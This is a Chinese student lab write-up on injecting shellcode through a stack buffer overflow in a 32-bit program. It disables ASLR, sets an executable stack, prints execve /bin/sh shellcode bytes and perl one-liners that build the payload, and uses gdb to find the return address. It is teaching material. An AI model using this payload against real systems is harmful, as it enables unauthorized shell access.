注入Shellcode并运行攻击

一、实验步骤

1.安装execstack并修改设置

  • 安装execstack apt-get install execstack

  • 设置堆栈可执行 execstack -s 20154305

  • 查询文件的堆栈是否可执行 execstack -q 20154305

  • 关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space

  • 查询地址随机化是否关闭more /proc/sys/kernel/randomize_va_space

0代表关闭,2代表开启

2. 构造攻击buf

本实验采用 retaddr+nop+shellcode 方法

  • 由以上两阶段实验已经知道pwn1文件的foo函数字符串缓冲大小为32Byte

  • 采用老师提供的shellcode 的代码 \x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00

-用perl语言输入代码 perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  • 上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。

    3. 确定返回地址的值

  • 将写好的代码通过管道方式输入给程序20154305中的foo函数进行覆盖 (cat input_shellcode;cat) | ./20154305

此处应注意,输入完指令只需要按一次回车,然后我们需要打开另一个终端

  • 打开另外一个终端,用gdb来调试pwn1这个进程

  • 首先找到20154305程序的进程号ps -ef | grep 20154305

  • 启动gdb调试这个程序 gdb attach 2041

通过ps指令可以看到20154305程序有两个进程号:2041和2088,2041为上一个终端打开时的调用,故我们attach 2041进行调试

  • 设置断点来查看注入buf的内存地址disassemble foo

ret的地址为 0x080484ae,ret完就会跳到我们覆盖的返回地址了

  • break *0x080484ae设置断点

  • 在另一个终端按下回车,这样程序就会执行之后在断点处停下来

  • 再在gdb调试的终端输入 c 继续运行程序

  • 通过info r esp查看esp寄存器的地址

  • 上图可以看到 01010304 所在的地址为 0xffffd3cc,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即0xffffd3cc + 0x00000004 = 0xffffd3d0

  • 退出gdp调试。

4. 修改注入代码的覆盖地址

输入
perl -e 'print "A" x 32;print "\xd0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

(cat input_shellcode;cat) | ./20154305

至此,已经能够成功运行我们注入的shell代码,实验成功。

二、实验总结

实验到此为止,已经通过三种方法对源程序pwn1进行攻击,直接修改指令是最容易也是最容易理解的,后两个方法都是通过缓冲区溢出覆盖返回地址达到跳转到目的代码的目的。利用了程序没有进行越界检查的漏铜,通过Bof攻击达到某些目的,可见程序的漏洞对我们的危害十分大,可能泄露我们电脑上的任何信息,因此我们要特别加强信息安全方面的防范。

方法三的实验环境是比较开放的,关闭了地址随机化等,难度大大降低,希望能够在以后的学习中学到更难的攻击方法,当然如老师所言,学习到思路和方法才是最重要的。

注入Shellcode并运行攻击的更多相关文章

  1. 20145203盖泽双《网络对抗技术》拓展:注入:shellcode及return-into-libc攻击

    20145203盖泽双<网络对抗技术>拓展:注入:shellcode及return-into-libc攻击 一.注入:shellcode 1.编写一段用于获取Shellcode的C语言代码 ...

  2. 20145312 《网络对抗》PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验

    20145312 <网络对抗>PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验 注入shellcode 实验步骤 1. 准备一段Shellcode 2. ...

  3. 20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验

    20145330 <网络对抗>PC平台逆向破解:注入shellcode 实验步骤 1.用于获取shellcode的C语言代码 2.设置环境 Bof攻击防御技术 需要手动设置环境使注入的sh ...

  4. 20144303石宇森《网络对抗》注入shellcode和Return-to-libc攻击

    20144303石宇森<网络对抗>PC平台逆向破解 实验1:shellcode注入 实验基础 1.Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode,n ...

  5. 20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

    shellcode 准备一段Shellcode 我用的老师的shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 ...

  6. 20145308 《网络对抗》 注入shellcode+Return-to-libc攻击 学习总结

    20145308 <网络对抗> 逆向及BOF进阶实践 注入shellcode+Return-to-libc攻击 学习总结 实践目的 注入shellcode 实现Return-to-libc ...

  7. 20145305 《网络对抗》注入Shellcode并执行&Return-to-libc 攻击实验

    注入Shellcode并执行 实践指导书 实践过程及结果截图 准备一段Shellcode 我这次实践和老师用的是同一个 设置环境 构造要注入的payload 我决定将返回地址改为0xffffd3a0 ...

  8. 20145327《网络对抗》——注入shellcode并执行和Return-to-libc攻击深入

    20145327<网络对抗>--注入shellcode并执行 准备一段Shellcode 老师的shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68 ...

  9. 逆向与BOF基础——注入shellcode并执行&Return-to-libc

    逆向与BOF基础--注入shellcode并执行 准备阶段 下载安装execstack. 本次实验实验的shellcode是心远的文章中生成的代码,即\x31\xc0\x50\x68\x2f\x2f\ ...

随机推荐

  1. java课程之团队开发冲刺1.2

    一.总结昨天进度 1.三个任务都已经实现 2.使用时间:四个小时左右 二.遇到的困难 1.对Android原生的侧拉任务栏不了解,导致使用的时候出现了一部分问题 三.今天任务规划 1.对之前的程序重新 ...

  2. for循环 && for-each

    Effective Java 第46条for-each循环优先于传统for循环 问题: 使用for循环来遍历集合或者是数组可以借助迭代器和索引变量.但是,如果出现循环嵌套的时候很容易引起混乱. 例如: ...

  3. python中类中的@property

    @property考察 Student 类: class Student(object): def __init__(self, name, score): self.name = name self ...

  4. git clone失败

    操作: $ git clone https://github.com/zjun615/DragListView.gitCloning into 'DragListView'...fatal: unab ...

  5. 阿里云-CentOS如何挂载硬盘

    阿里云CentOS挂载硬盘 查看当前未挂载的硬盘 # fdisk -l 创建硬盘分区 # fdisk /dev/vdb 根据提示,依次输入"n","p" &qu ...

  6. Makefile 命令解析

    1.$(patsubst %.c,%.o, a.c b.c) 把字串“a.c b.c”符合模式[%.c]的单词替换成[%.o],返回结果是“a.o b.o” 2.$(VAR:A=B) 对于一个已经定义 ...

  7. View控件跟随鼠标移动

    public boolean onTouch(View view, MotionEvent motionEvent) { if(motionEvent.getAction() == MotionEve ...

  8. Juniper BGP配置

    网络拓扑如下: XRV1配置 =========================================================== root@XRV1# run show confi ...

  9. ajax获取数据中文显示问号

    技术交流群:816227112 问题: 解决 : 在 response.getWriter() 之前加上 response.setContentType("text/html;charset ...

  10. Bar 柱状图

    1.生成基本图形 向上向下分别生成12个数据,X为 0 到 11 的整数 ,Y是相应的均匀分布的随机数据. 使用的函数是plt.bar,参数为X和Y: import matplotlib.pyplot ...